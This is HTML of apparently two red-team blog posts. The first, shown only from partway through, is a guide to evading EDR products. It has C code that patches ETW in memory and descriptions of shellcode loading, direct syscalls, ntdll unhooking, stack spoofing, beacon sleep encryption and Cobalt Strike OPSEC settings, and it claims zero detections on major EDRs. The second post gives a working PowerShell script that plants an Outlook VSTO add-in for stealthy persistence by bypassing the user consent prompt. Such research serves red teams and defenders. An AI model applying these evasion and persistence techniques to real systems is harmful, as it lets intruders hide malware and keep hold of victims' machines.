<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">sEtwEventWrite</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="sc">'E'</span><span class="p">,</span><span class="sc">'t'</span><span class="p">,</span><span class="sc">'w'</span><span class="p">,</span><span class="sc">'E'</span><span class="p">,</span><span class="sc">'v'</span><span class="p">,</span><span class="sc">'e'</span><span class="p">,</span><span class="sc">'n'</span><span class="p">,</span><span class="sc">'t'</span><span class="p">,</span><span class="sc">'W'</span><span class="p">,</span><span class="sc">'r'</span><span class="p">,</span><span class="sc">'i'</span><span class="p">,</span><span class="sc">'t'</span><span class="p">,</span><span class="sc">'e'</span><span class="p">,</span> <span class="mh">0x0</span> <span class="p">};</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">pEventWrite</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandle</span><span class="p">((</span><span class="n">LPCSTR</span><span class="p">)</span> <span class="n">sNtdll</span><span class="p">),</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span> <span class="n">sEtwEventWrite</span><span class="p">);</span>
<span class="n">NtProtectVirtualMemory</span><span class="p">(</span><span class="n">hCurrentProc</span><span class="p">,</span> <span class="o">&</span><span class="n">pEventWrite</span><span class="p">,</span> <span class="p">(</span><span class="n">PSIZE_T</span><span class="p">)</span> <span class="o">&</span><span class="n">size</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">,</span> <span class="o">&</span><span class="n">oldprotect</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">pEventWrite</span><span class="p">,</span> <span class="n">patch</span><span class="p">,</span> <span class="n">size</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">patch</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
<span class="n">NtProtectVirtualMemory</span><span class="p">(</span><span class="n">hCurrentProc</span><span class="p">,</span> <span class="o">&</span><span class="n">pEventWrite</span><span class="p">,</span> <span class="p">(</span><span class="n">PSIZE_T</span><span class="p">)</span> <span class="o">&</span><span class="n">size</span><span class="p">,</span> <span class="n">oldprotect</span><span class="p">,</span> <span class="o">&</span><span class="n">oldprotect</span><span class="p">);</span>
<span class="n">FlushInstructionCache</span><span class="p">(</span><span class="n">hCurrentProc</span><span class="p">,</span> <span class="n">pEventWrite</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>I’ve found the above method to still work on the two tested EDRs, but this is a noisy ETW patch.</p>
<h3 id="6-evading-common-malicious-api-call-patterns">6. Evading common malicious API call patterns</h3>
<p>Most behavioural detection is ultimately based on detecting malicious patterns. One of these patters is the order of specific WINAPI calls in a short timeframe. The suspicious WINAPI calls briefly mentioned in section 4 are typically used to execute shellcode and therefore heavily monitored. However, these calls are also used for benign activity (the <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">WriteProcess</code>, <code class="language-plaintext highlighter-rouge">CreateThread</code> pattern in combination with a memory allocation and write of ~250KB of shellcode) and so the challenge for EDR solutions is to distinguish benign from malicious calls. Filip Olszak wrote <a href="https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection">a great blog post</a> leveraging delays and smaller chunks of allocating and writing memory to blend in with benign WINAPI call behaviour. In short, his method adjusts the following behaviour of a typical shellcode loader:</p>
<ol>
<li>Instead of allocating one large chuck of memory and directly write the ~250KB implant shellcode into that memory, allocate small contiguous chunks of e.g. <64KB memory and mark them as <code class="language-plaintext highlighter-rouge">NO_ACCESS</code>. Then write the shellcode in a similar chunk size to the allocated memory pages.</li>
<li>Introduce delays between every of the above mentioned operations. This will increase the time required to execute the shellcode, but will also make the consecutive execution pattern stand out much less.</li>
</ol>
<p>One catch with this technique is to make sure you find a memory location that can fit your entire shellcode in consecutive memory pages. Filip’s <a href="https://github.com/xuanxuan0/DripLoader">DripLoader</a> implements this concept.</p>
<p>The loader I’ve built does not inject the shellcode into another process but instead starts the shellcode in a thread in its own process space using <code class="language-plaintext highlighter-rouge">NtCreateThread</code>. An unknown process (our binary will de facto have low prevalence) into other processes (typically a Windows native ones) is suspicious activity that stands out (recommended read <a href="https://www.cobaltstrike.com/blog/cobalt-strike-4-5-fork-run-youre-history/">“Fork&Run – you’re history”</a>). It is much easier to blend into the noise of benign thread executions and memory operations within a process when we run the shellcode within a thread in the loader’s process space. The downside however is that any crashing post-exploitation modules will also crash the process of the loader and therefore the implant. Persistence techniques as well as running stable and reliable <a href="https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm">BOFs</a> can help to overcome this downside.</p>
<h3 id="7-direct-system-calls-and-evading-mark-of-the-syscall">7. Direct system calls and evading “mark of the syscall”</h3>
<p>The loader leverages direct system calls for bypassing any hooks put in <code class="language-plaintext highlighter-rouge">ntdll.dll</code> by the EDRs. I want to avoid going into too much detail on how direct syscalls work, since it’s not the purpose of this post and a lot of great posts have been written about it (e.g. <a href="https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/">Outflank</a>).</p>
<p>In short, a direct syscall is a WINAPI call directly to the kernel system call equivalent. Instead of calling the <code class="language-plaintext highlighter-rouge">ntdll.dll</code> <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> we call its kernel equivalent <code class="language-plaintext highlighter-rouge">NtAlocateVirtualMemory</code> defined in the Windows kernel. This is great because we’re bypassing any EDR hooks used to monitor calls to (in this example) <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> defined in <code class="language-plaintext highlighter-rouge">ntdll.dll</code>.</p>
<p>In order to call a system call directly, we fetch the syscall ID of the system call we want to call from <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, use the function signature to push the correct order and types of function arguments to the stack, and call the <code class="language-plaintext highlighter-rouge">syscall <id></code> instruction. There are several tools that arrange all this for us, <a href="https://github.com/jthuraisamy/SysWhispers2">SysWhispers2</a> and <a href="https://github.com/klezVirus/SysWhispers3">SysWhisper3</a> are two great examples. From an evasion perspective, there are two issues with calling direct system calls:</p>
<ol>
<li>Your binary ends up with having the <code class="language-plaintext highlighter-rouge">syscall</code> instruction, which is easy to statically detect (a.k.a “mark of the syscall”, more in “<a href="https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/">SysWhispers is dead, long live SysWhispers!</a>”).</li>
<li>Unlike benign use of a system call that is called through its <code class="language-plaintext highlighter-rouge">ntdll.dll</code> equivalent, the return address of the system call does not point to <code class="language-plaintext highlighter-rouge">ntdll.dll</code>. Instead, it points to our code from where we called the syscall, which resides in memory regions outside of <code class="language-plaintext highlighter-rouge">ntdll.dll</code>. This is an indicator of a system call that is not called through <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, which is suspicious.</li>
</ol>
<p>To overcome these issues we can do the following:</p>
<ol>
<li>Implement an egg hunter mechanism. Replace the <code class="language-plaintext highlighter-rouge">syscall</code> instruction with the <code class="language-plaintext highlighter-rouge">egg</code> (some random unique identifiable pattern) and at runtime, search for this <code class="language-plaintext highlighter-rouge">egg</code> in memory and replace it with the <code class="language-plaintext highlighter-rouge">syscall</code> instruction using the <code class="language-plaintext highlighter-rouge">ReadProcessMemory</code> and <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> WINAPI calls. Thereafter, we can use direct system calls normally. This technique has been implemented by <a href="https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/">klezVirus</a>.</li>
<li>Instead of calling the <code class="language-plaintext highlighter-rouge">syscall</code> instruction from our own code, we search for the <code class="language-plaintext highlighter-rouge">syscall</code> instruction in <code class="language-plaintext highlighter-rouge">ntdll.dll</code> and jump to that memory address once we’ve prepared the stack to call the system call. This will result in an return address in RIP that points to <code class="language-plaintext highlighter-rouge">ntdll.dll</code> memory regions.</li>
</ol>
<p>Both techniques are part of <a href="https://github.com/klezVirus/SysWhispers3">SysWhisper3</a>.</p>
<h3 id="8-removing-hooks-in-ntdlldll">8. Removing hooks in <code class="language-plaintext highlighter-rouge">ntdll.dll</code></h3>
<p>Another nice technique to evade EDR hooks in <code class="language-plaintext highlighter-rouge">ntdll.dll</code> is to overwrite the loaded <code class="language-plaintext highlighter-rouge">ntdll.dll</code> that is loaded by default (and hooked by the EDR) with a fresh copy from <code class="language-plaintext highlighter-rouge">ntdll.dll</code>. <code class="language-plaintext highlighter-rouge">ntdll.dll</code> is the first DLL that gets loaded by any Windows process. EDR solutions make sure their DLL is loaded shortly after, which puts all the hooks in place in the loaded <code class="language-plaintext highlighter-rouge">ntdll.dll</code> before our own code will execute. If our code loads a fresh copy of <code class="language-plaintext highlighter-rouge">ntdll.dll</code> in memory afterwards, those EDR hooks will be overwritten. <a href="https://github.com/hlldz/RefleXXion">RefleXXion</a> is a C++ library that implements the research done for this technique by <a href="https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/">MDSec</a>. RelfeXXion uses direct system calls <code class="language-plaintext highlighter-rouge">NtOpenSection</code> and <code class="language-plaintext highlighter-rouge">NtMapViewOfSection</code> to get a handle to a clean <code class="language-plaintext highlighter-rouge">ntdll.dll</code> in <code class="language-plaintext highlighter-rouge">\KnownDlls\ntdll.dll</code> (registry path with previously loaded DLLs). It then overwrites the <code class="language-plaintext highlighter-rouge">.TEXT</code> section of the loaded <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, which flushes out the EDR hooks.</p>
<p>I recommend to use adjust the RefleXXion library to use the same trick as described above in section 7.</p>
<h3 id="9-spoofing-the-thread-call-stack">9. Spoofing the thread call stack</h3>
<p>The next two sections cover two techniques that provide evasions against detecting our shellcode in memory. Due to the beaconing behaviour of an implant, for a majority of the time the implant is sleeping, waiting for incoming tasks from its operator. During this time the implant is vulnerable for memory scanning techniques from the EDR. The first of the two evasions described in this post is spoofing the thread call stack.</p>
<p>When the implant is sleeping, its thread return address is pointing to our shellcode residing in memory. By examining the return addresses of threads in a suspicious process, our implant shellcode can be easily identified. In order to avoid this, want to break this connection between the return address and shellcode. We can do so by hooking the <code class="language-plaintext highlighter-rouge">Sleep()</code> function. When that hook is called (by the implant/beacon shellcode), we overwrite the return address with <code class="language-plaintext highlighter-rouge">0x0</code> and call the original <code class="language-plaintext highlighter-rouge">Sleep()</code> function. When <code class="language-plaintext highlighter-rouge">Sleep()</code> returns, we put the original return address back in place so the thread returns to the correct address to continue execution. <a href="https://twitter.com/mariuszbit">Mariusz Banach</a> has implemented this technique in his <a href="https://github.com/mgeeky/ThreadStackSpoofer">ThreadStackSpoofer</a> project. This repo provides much more detail on the technique and also outlines some caveats.</p>
<p>We can observe the result of spoofing the thread call stack in the two screenshots below, where the non-spoofed call stack points to non-backed memory locations and a spoofed thread call stack points to our hooked Sleep (<code class="language-plaintext highlighter-rouge">MySleep</code>) function and “cuts off” the rest of the call stack.</p>
<p style="text-align: center;"><img src="https://vanmieghem.io/assets/images/2022-04-18-blueprint-for-evading-edr-in-2022/thread-not-spoofed.png" alt="" width="300" /></p>
<figcaption>Default beacon thread call stack.</figcaption>
<p style="text-align: center;"><img src="https://vanmieghem.io/assets/images/2022-04-18-blueprint-for-evading-edr-in-2022/thread_spoofed.png" alt="" width="300" /></p>
<figcaption>Spoofed beacon thread call stack.</figcaption>
<h3 id="10--in-memory-encryption-of-beacon">10. In-memory encryption of beacon</h3>
<p>The other evasion for in-memory detection is to encrypt the implant’s executable memory regions while sleeping. Using the same sleep hook as described in the section above, we can obtain the shellcode memory segment by examining the caller address (the beacon code that calls <code class="language-plaintext highlighter-rouge">Sleep()</code> and therefore our <code class="language-plaintext highlighter-rouge">MySleep()</code> hook). If the caller memory region is <code class="language-plaintext highlighter-rouge">MEM_PRIVATE</code> and <code class="language-plaintext highlighter-rouge">EXECUTABLE</code> and roughly the size of our shellcode, then the memory segment is encrypted with a XOR function and <code class="language-plaintext highlighter-rouge">Sleep()</code> is called. Then <code class="language-plaintext highlighter-rouge">Sleep()</code> returns, it decrypts the memory segment and returns to it.</p>
<p>Another technique is to register a Vectored Exception Handler (VEH) that handles <code class="language-plaintext highlighter-rouge">NO_ACCESS</code> violation exceptions, decrypts the memory segments and changes the permissions to <code class="language-plaintext highlighter-rouge">RX</code>. Then just before sleeping, mark the memory segments as <code class="language-plaintext highlighter-rouge">NO_ACCESS</code>, so that when <code class="language-plaintext highlighter-rouge">Sleep()</code> returns, it throws a memory access violation exception. Because we registered a VEH, the exception is handled within that thread context and can be resumed at the exact same location the exception was thrown. The VEH can simply decrypt and change the permissions back to RX and the implant can continue execution. This technique prevents a detectible <code class="language-plaintext highlighter-rouge">Sleep()</code> hook being in place when the implant is sleeping.</p>
<p><a href="https://twitter.com/mariuszbit">Mariusz Banach</a> has also implemented this technique in <a href="https://github.com/mgeeky/ShellcodeFluctuation">ShellcodeFluctuation</a>.</p>
<h3 id="11-a-custom-reflective-loader">11. A custom reflective loader</h3>
<p>The beacon shellcode that we execute in this loader ultimately is a DLL that needs to be executed in memory. Many C2 frameworks leverage Stephen Fewer’s <a href="https://github.com/stephenfewer/ReflectiveDLLInjection">ReflectiveLoader</a>. There are many well written explanations of how exactly a relfective DLL loader works, and Stephen Fewer’s code is also well documented, but in short a Reflective Loader does the following:</p>
<ol>
<li>Resolve addresses to necessary <code class="language-plaintext highlighter-rouge">kernel32.dll</code> WINAPIs required for loading the DLL (e.g. <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">LoadLibraryA</code> etc.)</li>
<li>Write the DLL and its sections to memory</li>
<li>Build up the DLL import table, so the DLL can call <code class="language-plaintext highlighter-rouge">ntdll.dll</code> and <code class="language-plaintext highlighter-rouge">kernel32.dll</code> WINAPIs</li>
<li>Load any additional library’s and resolve their respective imported function addresses</li>
<li>Call the DLL entrypoint</li>
</ol>
<p>Cobalt Strike added support for a custom way for reflectively loading a DLL in memory that allows a red team operator to customize the way a beacon DLL gets loaded and add evasion techniques. Bobby Cooke and Santiago P built a stealthy loader (<a href="https://github.com/boku7/BokuLoader">BokuLoader</a>) using Cobalt Strike’s UDRL which I’ve used in my loader. BokuLoader implements several evasion techniques:</p>
<ul>
<li>Limit calls to <code class="language-plaintext highlighter-rouge">GetProcAddress()</code> (commonly EDR hooked WINAPI call to resolve a function address, as we do in section 4)</li>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a> & ETW bypasses</li>
<li>Use only direct system calls</li>
<li>Use only <code class="language-plaintext highlighter-rouge">RW</code> or <code class="language-plaintext highlighter-rouge">RX</code>, and no <code class="language-plaintext highlighter-rouge">RWX</code> (<code class="language-plaintext highlighter-rouge">EXECUTE_READWRITE</code>) permissions</li>
<li>Removes beacon DLL headers from memory</li>
</ul>
<p>Make sure to uncomment <a href="https://github.com/boku7/BokuLoader/blob/055861a12871e2e7f3396dcac67e8ee40c46d757/BokuLoader64.c#L4">the two defines</a> to leverage direct system calls via <a href="https://blog.sektor7.net/#!res/2021/halosgate.md">HellsGate & HalosGate</a> and bypass ETW and AMSI (not really necessary, as we’ve already disabled ETW and are not injecting the loader into another process).</p>
<h3 id="12-opsec-configurations-in-your-malleable-profile">12. OpSec configurations in your Malleable profile</h3>
<p>In your Malleable C2 profile, make sure the following options are configured, which limit the use of <code class="language-plaintext highlighter-rouge">RWX</code> marked memory (suspicious and easily detected) and clean up the shellcode after beacon has started.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> set startrwx "false";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set sleep_mask "true";
set smartinject "true";
</code></pre></div></div>
<h3 id="conclusions">Conclusions</h3>
<p>Combining these techniques allow you to bypass (among others) Microsoft Defender for Endpoint and CrowdStrike Falcon with 0 detections (tested mid April 2022), which together with SentinelOne lead the endpoint protection industry.</p>
<p><img src="https://vanmieghem.io/assets/images/2022-04-18-blueprint-for-evading-edr-in-2022/crowdstrike-bypass.png" alt="" /></p>
<figcaption>CrowdStrike Falcon with 0 alerts.</figcaption>
<p><img src="https://vanmieghem.io/assets/images/2022-04-18-blueprint-for-evading-edr-in-2022/windef-bypass.png" alt="" /></p>
<figcaption>Windows Defender (and also Microsoft Defender for Endpoint, not screenshotted) with 0 alerts.</figcaption>
<p>Of course this is just one and the first step in fully compromising an endpoint, and this doesn’t mean “game over” for the EDR solution. Depending on what post-exploitation activity/modules the red team operator choses next, it can still be “game over” for the implant. In general, either run BOFs, or tunnel post-ex tools through the implant’s SOCKS proxy feature. Also consider putting the EDR hooks patches back in place in our <code class="language-plaintext highlighter-rouge">Sleep()</code> hook to avoid detection of unhooking, as well as removing the ETW/AMSI patches.</p>
<p>It’s a cat and mouse game, and the cat is undoubtedly getting better.</p>vivamiAbout two years ago I quit being a full-time red team operator. However, it still is a field of expertise that stays very close to my heart. A few weeks ago, I was looking for a new side project and decided to pick up an old red teaming hobby of mine: bypassing/evading endpoint protection solutions.An Outlook parasite for stealth persistence2021-01-09T00:00:00+00:002021-01-09T00:00:00+00:00https://vanmieghem.io/stealth-outlook-persistence<p>In 2019 I was researching new “stealthy” persistence techniques that were not yet published or commonly known. I was triggered by the techniques that (mis)used plugins for programs on the target’s machine. Particularly interesting targets are browsers, e-mail clients and messaging apps, as they’re typically started after boot.</p>
<p>While reading other’s work, I stumbled upon a blog post from <a href="https://twitter.com/bohops">@bohops</a> about <a href="https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/">VSTOs: The Payload Installer That Probably Defeats Your Application Whitelisting Rules</a>. He shows how to create an “evil VSTO” and install it into Office. His conclusion there however, is that an unprivileged account will get a (“ClickOnce”) pop-up from <code class="language-plaintext highlighter-rouge">vstoinstaller.exe</code> asking the user for permission:</p>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/1.png" alt="Screenshot by @bohops" /></p>
<p>Bypassing this “ClickOnce” pop-up would be very valuable from an attacker perspective and so I decided to dig a bit deeper into how exactly <code class="language-plaintext highlighter-rouge">vstoinstaller.exe</code> installs a VSTO add-in. I fired up Procmon and filtered on <code class="language-plaintext highlighter-rouge">vstoinstaller.exe</code> process while clicking through this pop-up. I started by looking at the registry keys in <code class="language-plaintext highlighter-rouge">HKCU</code>, since I assumed that would be a key part of the installation.</p>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/2.png" alt="2" /></p>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/3.png" alt="3" /></p>
<p>These registry keys were particularly interesting and seemed very much related to the installation of the VSTO. I uninstalled the plugin again using <code class="language-plaintext highlighter-rouge">vstoinstaller.exe /uninstall</code> which removed those particular registry keys.</p>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/4.png" alt="4" /></p>
<p>Installing the VSTO again using the conventional method triggers the pop-up again, so I was assuming the uninstallation performed a complete roll-back of the VSTO install.</p>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/5.png" alt="5" /></p>
<p>Next I wrote a PowerShell script that set the correct registry keys and values to test if my Outlook add-in would be loaded by Outlook, without any user consent pop-ups. I think the trick of bypassing the “ClickOnce” pop-up eventually boils down to adding the public key of the certificate used to sign the VSTO with, in <code class="language-plaintext highlighter-rouge">HKCU:\Software\Microsoft\VSTO\Security\Inclusion\</code>.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">function</span><span class="w"> </span><span class="nf">Install-OutlookAddin</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="cm"><#
</span><span class="cs">.SYNOPSIS</span><span class="cm">
Installs an Outlook add-in.
Author: @_vivami
</span><span class="cs">.PARAMETER</span><span class="cm"> PayloadPath
The path of the DLL and manifest files
</span><span class="cs">.EXAMPLE</span><span class="cm">
PS> Install-OutlookAddin -PayloadPath C:\Path\to\Addin.vsto
#></span><span class="w">
</span><span class="p">[</span><span class="n">CmdletBinding</span><span class="p">()]</span><span class="w">
</span><span class="kr">param</span><span class="p">(</span><span class="w">
</span><span class="p">[</span><span class="n">Parameter</span><span class="p">(</span><span class="n">Mandatory</span><span class="o">=</span><span class="bp">$true</span><span class="p">)]</span><span class="w">
</span><span class="p">[</span><span class="n">string</span><span class="p">]</span><span class="w">
</span><span class="nv">$PayloadPath</span><span class="w">
</span><span class="p">)</span><span class="w">
</span><span class="nv">$RegistryPaths</span><span class="w"> </span><span class="o">=</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a"</span><span class="p">)</span><span class="w">
</span><span class="nv">$RegistryPaths</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="kr">foreach</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="kr">if</span><span class="p">(</span><span class="o">-Not</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="p">(</span><span class="bp">$_</span><span class="p">)))</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="n">New-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="bp">$_</span><span class="p">)</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-Null</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="kr">catch</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="n">Write-Error</span><span class="w"> </span><span class="s2">"Failed to set entry </span><span class="si">$(</span><span class="bp">$_</span><span class="si">)</span><span class="s2">."</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="nv">$RegistryKeys</span><span class="w"> </span><span class="o">=</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"</span><span class="p">,</span><span class="w"> </span><span class="s2">"(Default)"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Description"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Outlook Extension"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"</span><span class="p">,</span><span class="w"> </span><span class="s2">"FriendlyName"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Outlook Extension"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Manifest"</span><span class="p">,</span><span class="w"> </span><span class="s2">"file:///</span><span class="nv">$PayloadPath</span><span class="s2">"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata"</span><span class="p">,</span><span class="w"> </span><span class="s2">"(Default)"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata"</span><span class="p">,</span><span class="w"> </span><span class="s2">"file:///</span><span class="nv">$PayloadPath</span><span class="s2">"</span><span class="p">,</span><span class="w"> </span><span class="s2">"{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"(Default)"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"addInName"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"officeApplication"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"friendlyName"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"description"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"loadBehavior"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"compatibleFrameworks"</span><span class="p">,</span><span class="w"> </span><span class="s2">"<compatibleFrameworks xmlns=</span><span class="se">`"</span><span class="s2">urn:schemas-microsoft-com:clickonce.v2</span><span class="se">`"</span><span class="s2">></span><span class="se">`n`t</span><span class="s2"><framework targetVersion=</span><span class="se">`"</span><span class="s2">4.0</span><span class="se">`"</span><span class="s2"> profile=</span><span class="se">`"</span><span class="s2">Full</span><span class="se">`"</span><span class="s2"> supportedRuntime=</span><span class="se">`"</span><span class="s2">4.0.30319</span><span class="se">`"</span><span class="s2"> /></span><span class="se">`n`t</span><span class="s2"></compatibleFrameworks>"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"</span><span class="p">,</span><span class="w"> </span><span class="s2">"PreferredClr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"v4.0.30319"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Url"</span><span class="p">,</span><span class="w"> </span><span class="s2">"file:///</span><span class="nv">$PayloadPath</span><span class="s2">"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a"</span><span class="p">,</span><span class="w"> </span><span class="s2">"PublicKey"</span><span class="p">,</span><span class="w"> </span><span class="s2">"<RSAKeyValue><Modulus>yDCewQWG8XGHpxD57nrwp+EZInIMenUDOXwCFNAyKLzytOjC/H9GeYPnn0PoRSzwvQ5gAfb9goKlN3fUrncFJE8QAOuX+pqhnchgJDi4IkN7TDhatd/o8X8O5v0DBoqBVQF8Tz60DpcH55evKNRPylvD/8EG/YuWVylSwk8v5xU=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"</span><span class="p">)</span><span class="w">
</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$KeyPair</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$RegistryKeys</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="n">New-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$KeyPair</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nv">$KeyPair</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nv">$KeyPair</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="nt">-PropertyType</span><span class="w"> </span><span class="s2">"String"</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-Null</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"Done."</span><span class="w">
